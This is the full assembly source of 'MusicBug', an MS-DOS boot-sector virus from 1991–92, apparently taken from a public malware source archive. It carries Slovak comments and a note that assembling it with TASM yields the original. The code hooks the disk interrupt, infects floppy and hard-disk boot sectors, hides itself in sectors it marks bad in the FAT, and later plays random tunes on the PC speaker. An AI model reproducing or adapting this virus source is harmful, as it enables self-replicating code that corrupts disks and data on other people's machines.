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MalwareSourceCode/MSDOS/M-Index/Virus.MSDOS.Unknown.musicbug.asm

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2022-08-21 09:07:57 +00:00
; --------------------------------------------------------------------------
; Virus Mbug Sourced by Roman_S (c) jan 1992
; --------------------------------------------------------------------------
; Ulozenie BOOT Sect 7, Head 0, stopa 9 (360 Kb)
; Virus Sec 8,9 Hed 0, stopa 9
; Sec 0 Head 1, stopa 9
; Po preklade TASM vznika original !!!
; --------------------------------------------------------------------------
NOSMART
data_1e equ 230h
data_2e equ 6Ch
data_3e equ 0Dh
data_4e equ 0Eh
data_5e equ 11h
data_6e equ 13h
data_7e equ 15h
data_8e equ 16h
data_9e equ 18h
data_10e equ 1Ah
ram_top equ 413h ;Vrchol RAM
buffer_boot equ 0dd1h
mbug segment byte public
assume cs:mbug, ds:mbug
org 100h
start: cli ;Disable interrupts
jmp run_virus
B_name db 'IBM 3.3'
B_bytes_sect dw 200h
B_clust_size db 2
B_reserved dw 1
B_count_fat db 2
B_root_size dw 70h
B_total_sect dw 2D0h
B_media_desc db 0FDh
B_fat_size dw 2
B_track_sect dw 9
B_head_cnt dw 2
dw 0
db 6 dup (0)
db 0Fh, 0, 0, 0, 0, 1
db 0, 0, 0, 0, 0, 12h
db 0, 0, 0, 0, 1, 0
db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh
db 0, 7Ch, 16h, 7
chcksum dw 4F3Fh ;Kontrolny sucet casti vira
drive_head dw 0 ;Ulozenie virusu na disku
stopa_sect dw 907h
pocet_hlav db 2
sect_inc_track db 0Ah
pom_ax dw 200h
pom_bx dw 8A00h
pom_cx dw 905h
pom_dx dw 100h
db 0B6h, 0D9h, 0A1h, 49h, 0A6h, 55h
db 0A6h, 0ECh, 0A7h, 0CCh, 0A5h, 53h
db 0A6h, 6Eh, 0A1h, 41h, 0A7h, 0DAh
db 0ACh, 4Fh, 0A4h, 40h, 0B0h, 0A6h
db 0B5h, 0BDh, 0A8h, 7Dh, 0AAh, 0BAh
db 0A4h, 70h, 0AFh, 66h, 0ACh, 72h
db 0A1h, 41h, 0A7h, 0DAh, 0A4h, 0A3h
db 0B7h, 7Ch, 0AFh, 7Dh, 0C3h, 61h
db 0B1h, 7Ah, 0BAh, 0CFh, 0A4h, 0F9h
db 0A4h, 57h, 0AAh, 0BAh, 0A5h, 0F4h
db 0A6h, 0F3h, 0B8h, 0EAh, 0AEh, 0C6h
db 0A1h, 41h, 0A5h, 75h, 0B0h, 0B8h
db 0A6h, 0D3h, 27h, 0A7h, 0ECh, 0A8h
db 67h, 27h, 0A4h, 40h, 0A4h, 55h
db 0A1h, 41h, 0A5h, 0D1h, 0A9h, 0F3h
db 0B5h, 4Ch, 0ACh, 72h, 0A5h, 42h
db 0B9h, 0EFh, 0BEh, 0F7h, 0C5h, 0E9h
db 0B5h, 4Ch, 0AEh, 60h, 0B7h, 71h
db 0BDh, 0D0h, 0A6h, 77h, 0A4h, 0DFh
db 0A8h, 0CFh, 0A5h, 0CEh, 0A1h, 43h
db 0C1h, 0C2h, 0C1h, 0C2h, 0A1h, 49h
db 0A1h
db 49h
; -------------------------------------------------------------------------
run_virus: mov ax,cs ;Set registers & stack
mov ds,ax
mov es,ax
mov ss,ax
mov sp,0F000h
sti ;Enable interrupts
call test_chcksum
mov ax,ds:[B_track_sect+7c00h-100h]
inc al
mov ds:[sect_inc_track+7c00h-100h],al
mov ax,ds:[B_head_cnt+7c00h-100h]
mov ds:[pocet_hlav+7c00h-100h],al
mov dx,ds:[drive_head+7c00h-100h]
mov cx,ds:[stopa_sect+7c00h-100h]
call next_sect1 ;Posun CX,DX na dalsi
mov ax,207h ;Read 7 sectors
mov bx,7E00h ;Buffer
call read_vir2 ;Citaj druhu cast virusu
jnc read_ok
int 18h ;ROM basic
read_ok: mov ax,ds:ram_top ;Memory TOP
sub ax,4 ;Reserved 4 Kb
mov ds:ram_top,ax ;Set new value
mov cl,6 ;Convert to segment addres
shl ax,cl
mov es,ax ;Set ES to nex segment memory
mov si,7C00h ;Zaciatok virusu
xor di,di ;Na zaciatok memory bloku
mov cx,800h
cld
rep movsw ;Copy virus to MEM TOP
push es
mov ax,200h ;Push far Continue
push ax
retf ;Jmp to Continue
; --------------------------------------------------------------------------
; Nacitanie zvysnych sektorov virusu
; Vstupuje AH - command BX - adresa pre data
; AL - pocet sektorov
; --------------------------------------------------------------------------
read_vir2: push ax ;Backup registers
push bx
push cx
push dx
mov cs:[pom_ax+7c00h-100h],ax
mov cs:[pom_bx+7c00h-100h],bx
mov cs:[pom_cx+7c00h-100h],cx
mov cs:[pom_dx+7c00h-100h],dx
dalsi: mov cx,4 ;Count for error
read_again: push cx ;Backup
mov ah,byte ptr cs:[pom_ax+7c00h-100h+1] ;Command
mov al,1 ;1 sect
mov bx,cs:[pom_bx+7c00h-100h]
mov cx,cs:[pom_cx+7c00h-100h]
mov dx,cs:[pom_dx+7c00h-100h]
int 13h ;Read 1 sector to BX
pop cx ;Restore counter error
jnc read_ok1
xor ah,ah
int 13h ;Reset disk
loop read_again ;Dalsi pokus
stc ;Nepodarilo sa
jmp short return
read_ok1: dec byte ptr cs:[pom_ax+7c00h-100h] ;Zmensi pocet sektorov
cmp byte ptr cs:[pom_ax+7c00h-100h],0 ;Toto bol posledny ?
je return
mov cx,cs:[pom_cx+7c00h-100h]
mov dx,cs:[pom_dx+7c00h-100h]
call next_sect1 ;Posun na dalsi sect
mov cs:[pom_cx+7c00h-100h],cx
mov cs:[pom_dx+7c00h-100h],dx
mov bx,cs:[pom_bx+7c00h-100h] ;Buffer
add bx,200h ;Posun sa o 1 sector
mov cs:[pom_bx+7c00h-100h],bx
jmp short dalsi ;Citaj dalsi sektor
return: pop dx ;Restore registers
pop cx
pop bx
pop ax
retn
; ---------------------------------------------------------------------------
; Rutina posunie CX,DX na dalsi sektor
; ---------------------------------------------------------------------------
next_sect1: push ax
inc cl ;Next sector
mov al,cl
and al,3Fh
cmp al,cs:[sect_inc_track+7c00h-100h] ;Prekroceny posledny?
jb next_ok ;Jump if no
and cl,0C0h ;Znuluj ho
inc cl ;Nastav 1 a daj dalsiu hlavu
inc dh
cmp dh,cs:[pocet_hlav+7c00h-100h] ;Posledna hlava ?
jb next_ok ;Jump if no
xor dh,dh ;Nastav prvu hlavu
add ch,1 ;Posun na dalsiu stopu
jnc next_ok
add cl,40h
jnc next_ok
or cl,0C0h
next_ok: pop ax
retn
;--------------------------------------------------------------------------
; Prevedie kontrolnu sumu casti virusu a ak nesedi premaze pamat
;--------------------------------------------------------------------------
test_chcksum: mov si,7C50h
mov cx,7CD0h
sub cx,si
xor ah,ah
xor dx,dx ;Suma = 0
cld
add_next: lodsb
add dx,ax ;Suma = Suma + AX
loop add_next
cmp dx,ds:[chcksum+7c00h-100h]
je chcksum_ok
xor ax,ax ;Chyba -> Clear RAM 0-8000h
mov es,ax
xor di,di
mov cx,8000h
kill_next: stosw
loop kill_next
chcksum_ok: retn
db 15 dup (0)
db 55h,0AAh ;Flag end sector BOOT
; ----------------------------------------------------------------------------
; Pokracovanie virusu cez RETF (Dalsie sektory)
; ----------------------------------------------------------------------------
continute_line: jmp short continue_lin
db 3, 0, 0Ah, 0, 8, 4
db 0, 0, 20h, 0FFh, 0Ah, 0
db 1, 0
db 'MusicBug v1.06. MacroSoft Corp. '
old_13: dw 0A189h,0F000h ;Povodny INT 13h
db 0
continue_lin: xor ax,ax ;Set AX,DS,ES = 0
mov ds,ax
mov es,ax
mov cx,4 ;Set error counter
again_origin: push cx ;Backup
mov ax,201h ;Read 1 sector
mov bx,7C00h ;To original BOOT
mov cx,cs:[stopa_sect-100h] ;Ulozenie povodneho BOOTu
mov dx,cs:[drive_head-100h]
int 13h ;Read original BOOT sector
pop cx ;Restore
jnc old_boot_ok
xor ah,ah
int 13h ;Reset disk
loop again_origin
int 18h ;ROM basic
old_boot_ok: call redef_13
mov cx,cs:[year-100h] ;Vyber cas nakazenia
mov dh,cs:[month-100h]
call year2month ;Preved na mesiace
mov cs:[pom_months-100h],ax
mov byte ptr cs:[flag_action-100h],0 ;Znuluj akciu
nop
mov ah,4
int 1Ah ;Read date cx=year, dx=mon/day
or dx,dx ;Je tam CMOS ?
jz no_cmos
call year2month ;Preved na mesiace
sub ax,4 ;Pridaj 4 mesiace
cmp ax,cs:[pom_months-100h] ;Uz ubehli od nakazenia ?
jb no_cmos
inc cs:[flag_action-100h] ;Ano nastav flag action
no_cmos: push es
mov ax,7C00h ;Push 0000:7C00
push ax
retf ;Jump far to original BOOT
; ------------------------------------------------------------------------
; New interrupt 13h - DISK I/O
; ------------------------------------------------------------------------
new_13: sti ;Enable
pushf ;Backup registers
push es
push ds
push di
push si
push ax
push bx
push cx
push dx
call timeout ;Testuj casovu prodlevu
jc ret_from_13 ;Ochod ak neuplynula 1 sec.
cmp dl,2 ;Disk A:, B: ?
jb disk_ok ;Jump if YES
cmp dl,80h ;Hardisk C: ?
jne read_boot_err ;Jump if no
disk_ok: mov si,cs ;Disk A: B: or C:
mov ds,si
mov es,si ;Set DS,ES to my segment
mov cs:[drive_number-100h],dl ;Backup drive
call read_boot ;Nacitaj boot sektor
jc read_boot_err
call sub_1
jmp short ret_from_13
read_boot_err: cmp byte ptr cs:[flag_action-100h],1 ;Ideme vyhravat ?
jne ret_from_13
call sound ;Zacvrlikaj
ret_from_13: pop dx ;Restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop ds
pop es
popf
jmp dword ptr cs:[230h]
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_1: call sub_2
mov al,cs:data_54 ; (727D:0DE6=0F6h)
cmp al,0FDh
je loc_6
cmp al,0F9h
je loc_6
cmp al,0F8h
jne loc_ret_8
call sub_4
jnc loc_7
retn
loc_6: call sub_3
jc loc_ret_8
loc_7: call sub_6
loc_ret_8: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_2: mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
mov cs:7b7h,ax ; (727D:07B7=75AAh)
xor bh,bh ; Zero register
mov bl,cs:data_51 ; (727D:0DE1=0F6h)
mul bx ; dx:ax = reg * ax
add ax,cs:data_50 ; (727D:0DDF=0F6F6h)
mov bx,cs:data_52 ; (727D:0DE2=0F6F6h)
shr bx,1 ; Shift w/zeros fill
shr bx,1 ; Shift w/zeros fill
shr bx,1 ; Shift w/zeros fill
shr bx,1 ; Shift w/zeros fill
add ax,bx
mov cs:7b5h,ax ; (727D:07B5=550Fh)
mov al,cs:data_56 ; (727D:0DE9=0F6h)
inc al
mov cs:7beh,al ; (727D:07BE=0Dh)
mov bl,cs:data_57 ; (727D:0DEB=0F6h)
mov cs:7bfh,bl ; (727D:07BF=0)
dec al
mul bl ; ax = reg * al
mov cs:7b3h,ax ; (727D:07B3=0CF3Eh)
retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_3: mov byte ptr cs:7c8h,0 ; (727D:07C8=3Bh)
nop
mov byte ptr cs:7c9h,0 ; (727D:07C9=6)
nop
loc_9: mov ah,2
mov al,byte ptr cs:7b7h ; (727D:07B7=0AAh)
cmp al,3
jbe loc_10 ; Jump if below or =
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
mov al,3
jmp short loc_12 ; (047F)
loc_10: or al,al ; Zero ?
jnz loc_11 ; Jump if not zero
jmp loc_19 ; (0551)
loc_11: mov byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
nop
loc_12: mov cs:7ceh,al ; (727D:07CE=0F8h)
lea bx,cs:[7D1h] ; Load effective addr
mov cl,cs:7c9h ; (727D:07C9=6)
shl cl,1 ; Shift w/zeros fill
add cl,cs:7c9h ; (727D:07C9=6)
inc cl
inc cl
mov cs:7cch,cl ; (727D:07CC=74h)
xor ch,ch ; Zero register
xor dh,dh ; Zero register
mov dl,cs:7cah ; (727D:07CA=40h)
call read_write
jnc loc_13 ; Jump if carry=0
jmp loc_ret_20 ; (0552)
loc_13:
mov ax,200h
xor dh,dh ; Zero register
mov dl,cs:7ceh ; (727D:07CE=0F8h)
mul dx ; dx:ax = reg * ax
sub ax,6
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
xor bx,bx ; Zero register
loc_14:
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
ja loc_16 ; Jump if above
mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
or ax,ax ; Zero ?
jnz loc_15 ; Jump if not zero
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
or ax,ax ; Zero ?
jnz loc_15 ; Jump if not zero
mov ax,cs:7d5h[bx] ; (727D:07D5=40B8h)
or ax,ax ; Zero ?
jz loc_17 ; Jump if zero
loc_15: inc bx
inc bx
inc bx
jmp short loc_14
loc_16: cmp byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
je loc_19 ; Jump if equal
inc byte ptr cs:7c9h ; (727D:07C9=6)
jmp loc_9 ; (0454)
loc_17:
mov ax,0FFFFh
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
mov cs:7d5h[bx],ax ; (727D:07D5=40B8h)
xor ah,ah ; Zero register
mov al,cs:7c9h ; (727D:07C9=6)
shl al,1 ; Shift w/zeros fill
add al,cs:7c9h ; (727D:07C9=6)
mov dx,200h
mul dx ; dx:ax = reg * ax
add ax,bx
xor dx,dx ; Zero register
mov bx,3
div bx ; ax,dx rem=dx:ax/reg
dec ax
shl ax,1 ; Shift w/zeros fill
mov cl,cs:data_49 ; (727D:0DDE=0F6h)
shr cl,1 ; Shift w/zeros fill
or cl,cl ; Zero ?
jz loc_18 ; Jump if zero
shl ax,cl ; Shift w/zeros fill
loc_18:
add ax,cs:7b5h ; (727D:07B5=550Fh)
call sub_5 ; (0611)
mov byte ptr cs:7cbh,0 ; (727D:07CB=0)
nop
mov byte ptr cs:7cdh,0 ; (727D:07CD=2)
nop
xor dl,dl
clc ;Clear carry flag
jmp short loc_ret_20
loc_19: stc ;Set carry flag
loc_ret_20: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_4: mov ax,1FCh
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
mov byte ptr cs:7b9h,1 ; (727D:07B9=16h)
nop
mov word ptr cs:7bah,2 ; (727D:07BA=812Eh)
loc_21:
mov ax,201h
lea bx,cs:[7D1h] ; Load effective addr
mov cx,cs:7bah ; (727D:07BA=812Eh)
mov dh,byte ptr cs:7b9h ; (727D:07B9=16h)
mov dl,80h
call read_write
jnc loc_22 ; Jump if carry=0
jmp loc_ret_28 ; (0610)
loc_22:
mov word ptr cs:7cch,cx ; (727D:07CC=274h)
mov cs:7cbh,dh ; (727D:07CB=0)
call sub_7 ; (06E9)
mov cs:7bah,cx ; (727D:07BA=812Eh)
mov cs:7b9h,dh ; (727D:07B9=16h)
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
xor bx,bx ; Zero register
loc_23:
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
ja loc_25 ; Jump if above
mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
or ax,ax ; Zero ?
jnz loc_24 ; Jump if not zero
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
or ax,ax ; Zero ?
jz loc_26 ; Jump if zero
loc_24:
inc bx
inc bx
jmp short loc_23 ; (05A1)
loc_25:
cmp word ptr cs:7b7h,0 ; (727D:07B7=75AAh)
jne loc_21 ; Jump if not equal
jmp short loc_27 ; (060F)
db 90h
loc_26:
mov ax,0FFFFh
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
mov byte ptr cs:7ceh,1 ; (727D:07CE=0F8h)
nop
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
sub ax,cs:7b7h ; (727D:07B7=75AAh)
dec ax
mov dx,200h
mul dx ; dx:ax = reg * ax
add bx,ax
shr bx,1 ; Shift w/zeros fill
dec bx
dec bx
mov ax,bx
xor bh,bh ; Zero register
mov bl,cs:data_49 ; (727D:0DDE=0F6h)
mul bx ; dx:ax = reg * ax
add ax,cs:7b5h ; (727D:07B5=550Fh)
add ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
call sub_5 ; (0611)
mov dl,80h
clc ; Clear carry flag
jmp short loc_ret_28 ; (0610)
loc_27: stc
loc_ret_28: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_5: xor dx,dx ; Zero register
mov bx,cs:7b3h ; (727D:07B3=0CF3Eh)
div bx ; ax,dx rem=dx:ax/reg
mov ch,al
mov cl,6
shl ah,cl ; Shift w/zeros fill
mov cl,ah
xor ax,ax ; Zero register
xchg ax,dx
mov bx,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
div bx ; ax,dx rem=dx:ax/reg
mov dh,al
inc dl
add cl,dl
retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_6: mov al,cs:data_49 ; (727D:0DDE=0F6h)
mov cs:data_3e,al ; (727D:000D=0)
mov ax,cs:data_50 ; (727D:0DDF=0F6F6h)
mov cs:data_4e,ax ; (727D:000E=0)
mov ax,cs:data_52 ; (727D:0DE2=0F6F6h)
mov cs:data_5e,ax ; (727D:0011=0)
mov ax,cs:data_53 ; (727D:0DE4=0F6F6h)
mov cs:data_6e,ax ; (727D:0013=0)
mov al,cs:data_54 ; (727D:0DE6=0F6h)
mov cs:data_7e,al ; (727D:0015=0)
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
mov cs:data_8e,ax ; (727D:0016=0)
mov ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
mov cs:data_9e,ax ; (727D:0018=0)
mov ax,word ptr cs:data_57 ; (727D:0DEB=0F6F6h)
mov cs:data_10e,ax ; (727D:001A=0)
mov byte ptr cs:[1FDh],dl ; (727D:01FD=7Eh)
mov cs:[drive_head-100h],dx
mov cs:[stopa_sect-100h],cx
mov ax,301h
lea bx,cs:[0DD1h] ; Load effective addr
mov dl,cs:7cah ; (727D:07CA=40h)
call read_write
jc loc_ret_30 ; Jump if carry Set
call sub_7 ; (06E9)
push cx
push dx
mov ah,4
int 1Ah ; Real time clock ah=func 04h
; read date cx=year, dx=mon/day
mov cs:[year-100h],cx ; (727D:079C=0DD1h)
mov cs:[month-100h],dh ; (727D:079E=0B9h)
mov ax,79Fh
sub ax,200h
mov cl,9
shr ax,cl ; Shift w/zeros fill
inc al
pop dx
pop cx
mov ah,3
mov bx,200h
call read_write
jc loc_ret_30 ; Jump if carry Set
mov al,cs:7ceh ; (727D:07CE=0F8h)
lea bx,cs:[7D1h] ; Load effective addr
mov cx,word ptr cs:7cch ; (727D:07CC=274h)
mov dh,cs:7cbh ; (727D:07CB=0)
call read_write
jc loc_ret_30 ; Jump if carry Set
mov al,1
xor bx,bx ; Zero register
mov cx,1
xor dh,dh ; Zero register
cmp dl,80h
jne loc_29 ; Jump if not equal
inc dh
loc_29: call read_write
loc_ret_30: retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
sub_7: push ax
inc cl
mov al,cl
and al,3Fh ; '?'
cmp al,cs:7beh ; (727D:07BE=0Dh)
jb loc_31 ; Jump if below
and cl,0C0h
inc cl
inc dh
cmp dh,cs:7bfh ; (727D:07BF=0)
jb loc_31 ; Jump if below
xor dh,dh ; Zero register
add ch,1
jnc loc_31 ; Jump if carry=0
add cl,40h ; '@'
jnc loc_31 ; Jump if carry=0
or cl,0C0h
loc_31: pop ax
retn
; ------------------------------------------------------------------------
;
; ------------------------------------------------------------------------
read_write: push ax
push bx
push cx
push dx
mov cs:7c0h,ax ; (727D:07C0=7502h)
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
mov cs:7c4h,cx ; (727D:07C4=11A1h)
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
loc_32: mov cx,4
locloop_33: push cx
mov ah,byte ptr cs:7c0h+1 ; (727D:07C1=75h)
mov al,1
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
mov cx,cs:7c4h ; (727D:07C4=11A1h)
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
pushf ; Push flags
call dword ptr ds:data_1e ; (0000:0230=0)
pop cx
jnc loc_34 ; Jump if carry=0
xor ah,ah ; Zero register
pushf ; Push flags
call dword ptr ds:data_1e ; (0000:0230=0)
loop locloop_33 ; Loop if cx > 0
stc ; Set carry flag
jmp short loc_35 ; (078F)
loc_34:
dec byte ptr cs:7c0h ; (727D:07C0=2)
cmp byte ptr cs:7c0h,0 ; (727D:07C0=2)
je loc_35 ; Jump if equal
mov cx,cs:7c4h ; (727D:07C4=11A1h)
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
call sub_7 ; (06E9)
mov cs:7c4h,cx ; (727D:07C4=11A1h)
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
add bx,200h
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
jmp short loc_32 ; (072D)
loc_35:
pop dx
pop cx
pop bx
pop ax
retn
; --------------------------------------------------------------------------
; Nacitanie BOOT sektora
; Vracia CF = 1 ak operacia prebehla neuspesne, boot je zly, nakazeny,
; alebo command nie je READ
; --------------------------------------------------------------------------
read_boot: cmp ah,2 ;Read command
jne read_boot_end
mov al,1 ;Set 1 sector for READ_WRITE
mov bx,buffer_boot
mov cx,1 ;Boot sector
xor dh,dh
cmp dl,80h ;Pracujeme s diskom D: E: .. ?
ja read_boot_end ;Ak ano odchod
jnz obskok ;Skok ak nepracujem s C:
inc dh
obskok: call read_write ;Read boot sector
jc return_
cmp word ptr cs:[buffer_boot+200h-2],0aa55h ;Test Boot flag
jnz read_boot_end ;Toto nie je Boot sect.
cmp word ptr cs:[buffer_boot+11],200h ;Sector size = 200h ?
jnz read_boot_end
mov ax,cs:[buffer_boot+40h] ;Testuj ci uz nie je nakazeny
cmp ax,cs:[40h]
jz read_boot_end ;Ak ano odchod (Set error)
clc ;OK
ret
read_boot_end: stc ;Error
return_: ret
; ---------------------------------------------------------------------------
; Test casova prodlevy 1 sekundy
; Vracia CARRY = 1 ak od poslaedneho volnania neubehla 1 sekunda
; ---------------------------------------------------------------------------
timeout: push ds ;Backup registers
push ax
push bx
mov ax,40h
mov ds,ax
mov si,6ch
mov ax,[si] ;AX = <0000:046C> - timer cnt
mov bx,ax
sub ax,cs:[timer_tick-100h] ;Odpocitaj poslednu pouzitu hodn.
cmp ax,18 ;Ubehla aspom 1 sekunda ?
jb este_nie ;Jump if no
mov cs:7cfh,bx
clc ;Set flag time OK
jmp short obskok_t
este_nie: stc ;Set flag este neubehla 1 sek.
obskok_t: pop bx ;Restore registers
pop ax
pop ds
ret
; ----------------------------------------------------------------------------
; Nahodna melodia
; ----------------------------------------------------------------------------
sound: push ds
mov ax,40h
mov ds,ax
mov si,6Ch
mov al,ds:data_2e ; (0040:006C=3Ah)
cmp al,0DDh
jb loc_40 ; Jump if below
mov cx,24h
mov si,ds:data_2e ; (0040:006C=0E43Ah)
cld ; Clear direction
locloop_37: push cx
lodsb ; String [si] to al
and al,7
cbw ; Convrt byte to word
mov bx,ax
xor ax,ax ; Zero register
mov dx,12h
div word ptr cs:[74Ah][bx] ; (727D:074A=230h) ax,dxrem=dx:ax/data
mov bx,ax
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
mov ax,bx
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,ah
out 42h,al ; port 42h, 8253 timer 2 spkr
in al,61h ; port 61h, 8255 port B, read
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
mov cx,0FFFFh
locloop_38: loop locloop_38 ; Loop if cx > 0
in al,61h ; port 61h, 8255 port B, read
and al,0FCh
out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
mov cx,0FFFFh
locloop_39:
loop locloop_39 ; Loop if cx > 0
pop cx
loop locloop_37 ; Loop if cx > 0
loc_40: pop ds
retn
db 6, 1, 26h, 1, 4Ah, 1
db 5Bh, 1, 88h, 1, 0B8h, 1
db 0EEh, 1, 0Ch, 2
; ---------------------------------------------------------------------------
; Konverzia roku (posl.2 BCD cisla) a mesiaca na pocet mesiacov
; Prepocet CL (rok), DH (mesiac) -> AX (mesiace)
; Pr. 6.12.1991 (9*10+1)*12 + (10+2)
; ---------------------------------------------------------------------------
year2month: mov al,cl
shr al,1 ;Horne 4 bity
shr al,1
shr al,1
shr al,1
mov bl,10
mul bl ;Nasob 10
and cl,0Fh ;Dolne 4 bity
add al,cl ;Pripocitaj
mov bl,12
mul bl ;Rok ma 12 mesiacov
test dh,10h ;Mesiac 10,11,12 ?
jz no_zima
add ax,10 ;Pridaj
no_zima: xchg dh,dl
; and dx,0Fh
db 83h,0e2h,0fh ;Original instruction for prev.
add ax,dx
retn
; ----------------------------------------------------------------------------
; Predefinovanie INT 13h na NEW_13
; ----------------------------------------------------------------------------
redef_13: cld
mov si,13h*4 ;Offset INT 13 in Zero segment
mov di,si
lodsw ;Load INT 13h
mov word ptr cs:[old_13-100h],ax
lodsw
mov word ptr cs:[old_13-100h+2],ax
mov ax,offset new_13-100h
stosw ;Store new_13
mov ax,cs
stosw
retn
; ----------------------------------------------------------------------------
flag_action db 1
pom_months dw 445h
year dw 1991h
month db 6
db '-- Made In Taiwan --'
sect_allhead dw 12h
start_data dw 0ch
backup_fat_size dw 2
db 2,10h,0
fat_size_byte dw 3fah
sect_per_track2 db 0ah
head_cnt db 2
db 1,3,0,6,1,9,0,1
db 1,0
drive_number db 0
head_for_fat db 0
fat_block dw 2
fat_size_block db 2
timer_tick dw 2035h
buffer label byte
db 0fdh
db 0FFh, 0FFh, 3, 40h, 0, 5
db 60h, 0, 7, 80h, 0, 9
db 0A0h, 0, 0Bh, 0C0h, 0, 0Dh
db 0E0h, 0, 0Fh, 0, 1, 11h
db 20h, 1, 13h, 40h, 1, 15h
db 60h, 1, 17h, 0F0h, 0FFh, 19h
db 0A0h, 1, 1Bh, 0C0h, 1, 1Dh
db 0E0h, 1, 1Fh, 0, 0F6h
db 1245 dup (0F6h)
data_49 db 0F6h
data_50 dw 0F6F6h
data_51 db 0F6h
data_52 dw 0F6F6h
data_53 dw 0F6F6h
data_54 db 0F6h
data_55 dw 0F6F6h
data_56 db 0F6h
db 0F6h
data_57 db 0F6h
db 483 dup (0F6h)
data_58 dw 0F6F6h
db 303 dup (0F6h)
mbug ends
end start
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